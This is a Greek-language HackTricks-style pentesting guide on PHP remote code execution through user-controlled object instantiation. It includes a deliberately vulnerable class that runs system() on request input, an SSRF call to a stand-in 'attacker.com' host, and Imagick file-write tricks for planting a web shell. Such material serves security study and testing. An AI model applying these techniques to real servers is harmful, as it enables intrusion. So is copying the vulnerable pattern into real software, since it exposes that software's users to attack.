PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Αυτό είναι ουσιαστικά ένα σύνοψη του https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Εισαγωγή

Η δημιουργία νέων αυθαίρετων αντικειμένων, όπως new $_GET["a"]($_GET["a"]), μπορεί να οδηγήσει σε εκτέλεση απομακρυσμένου κώδικα (RCE), όπως περιγράφεται λεπτομερώς σε ένα άρθρο. Αυτό το έγγραφο αναδεικνύει διάφορες στρατηγικές για την επίτευξη RCE.

RCE μέσω προσαρμοσμένων κλάσεων ή αυτόματης φόρτωσης

Η σύνταξη new $a($b) χρησιμοποιείται για τη δημιουργία ενός αντικειμένου όπου $a αντιπροσωπεύει το όνομα της κλάσης και $b είναι το πρώτο όρισμα που περνάται στον κατασκευαστή. Αυτές οι μεταβλητές μπορούν να προέρχονται από εισόδους χρήστη όπως GET/POST, όπου μπορεί να είναι συμβολοσειρές ή πίνακες, ή από JSON, όπου μπορεί να παρουσιάζονται ως άλλους τύπους.

Λάβετε υπόψη το ακόλουθο απόσπασμα κώδικα:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

Σε αυτήν την περίπτωση, η ρύθμιση του $a σε App ή App2 και του $b σε ένα σύστημα εντολής (π.χ. uname -a) οδηγεί στην εκτέλεση αυτής της εντολής.

Οι συναρτήσεις αυτόματης φόρτωσης μπορούν να εκμεταλλευτούνται εάν δεν υπάρχουν απευθείας προσβάσιμες τέτοιες κλάσεις. Αυτές οι συναρτήσεις φορτώνουν αυτόματα κλάσεις από αρχεία όταν απαιτείται και ορίζονται χρησιμοποιώντας τις spl_autoload_register ή __autoload:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Το συμπεριφορά του autoloading ποικίλει ανάλογα με τις εκδόσεις του PHP, προσφέροντας διάφορες δυνατότητες RCE.

RCE μέσω Ενσωματωμένων Κλάσεων

Σε περίπτωση που δεν υπάρχουν προσαρμοσμένες κλάσεις ή autoloaders, οι ενσωματωμένες κλάσεις του PHP μπορεί να επαρκούν για RCE. Ο αριθμός αυτών των κλάσεων κυμαίνεται από 100 έως 200, ανάλογα με την έκδοση του PHP και τις επεκτάσεις. Μπορούν να εμφανιστούν χρησιμοποιώντας την εντολή get_declared_classes().

Οι ενδιαφέρουσες constructors μπορούν να εντοπιστούν μέσω του reflection API, όπως φαίνεται στο παρακάτω παράδειγμα και στον σύνδεσμο https://3v4l.org/2JEGF.

RCE μέσω συγκεκριμένων μεθόδων περιλαμβάνει:

SSRF + Phar Deserialization

Η κλάση SplFileObject επιτρέπει το SSRF μέσω του constructor της, επιτρέποντας συνδέσεις σε οποιαδήποτε διεύθυνση URL:

new SplFileObject('http://attacker.com/');

Το SSRF μπορεί να οδηγήσει σε επιθέσεις αποσυνεργοποίησης σε εκδόσεις του PHP πριν από την 8.0 χρησιμοποιώντας το πρωτόκολλο Phar.

Εκμεταλλευόμενοι τα PDOs

Ο κατασκευαστής της κλάσης PDO επιτρέπει συνδέσεις με βάσεις δεδομένων μέσω συμβολοσειρών DSN, που ενδέχεται να επιτρέπουν τη δημιουργία αρχείων ή άλλων αλληλεπιδράσεων:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Οι εκδόσεις του PHP μέχρι την 5.3.22 και 5.4.12 ήταν ευάλωτες σε επιθέσεις XXE μέσω των κατασκευαστών SoapClient και SimpleXMLElement, ανάλογα με την έκδοση του libxml2.

RCE μέσω της επέκτασης Imagick

Στην ανάλυση των εξαρτήσεων ενός έργου, ανακαλύφθηκε ότι η Imagick μπορεί να χρησιμοποιηθεί για την εκτέλεση εντολών μέσω της δημιουργίας νέων αντικειμένων. Αυτό παρέχει μια ευκαιρία για την εκμετάλλευση ευπαθειών.

Ανάλυση VID

Αναγνωρίστηκε η δυνατότητα του αναλυτή VID να γράφει περιεχόμενο σε οποιοδήποτε καθορισμένο μονοπάτι στο σύστημα αρχείων. Αυτό μπορεί να οδηγήσει στην τοποθέτηση ενός PHP shell σε έναν κατάλογο προσβάσιμο μέσω του web, επιτυγχάνοντας Remote Code Execution (RCE).

Ανάλυση VID + Μεταφόρτωση Αρχείου

Σημειώνεται ότι το PHP προσωρινά αποθηκεύει τα μεταφορτωμένα αρχεία στο /tmp/phpXXXXXX. Ο αναλυτής VID στην Imagick, χρησιμοποιώντας το πρωτόκολλο msl, μπορεί να χειριστεί μπαλαντέρ στα μονοπάτια των αρχείων, διευκολύνοντας τη μεταφορά του προσωρινού αρχείου σε μια επιλεγμένη τοποθεσία. Αυτή η μέθοδος προσφέρει μια επιπλέον προσέγγιση για την επίτευξη αυθαίρετης εγγραφής αρχείων στο σύστημα αρχείων.

Ανεξέλεγκτο Κρασάρισμα PHP + Βίαιη Δοκιμή

Μια μέθοδος που περιγράφεται στο αρχικό άρθρο περιλαμβάνει τη μεταφόρτωση αρχείων που προκαλούν την κατάρρευση του διακομιστή πριν τη διαγραφή τους. Με τη βίαιη δοκιμή του ονόματος του προσωρινού αρχείου, γίνεται δυνατή η εκτέλεση αυθαίρετου κώδικα PHP από την Imagick. Ωστόσο, αυτή η τεχνική βρέθηκε να είναι αποτελεσματική μόνο σε μια ξεπερασμένη έκδοση του ImageMagick.

Αναφορές

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated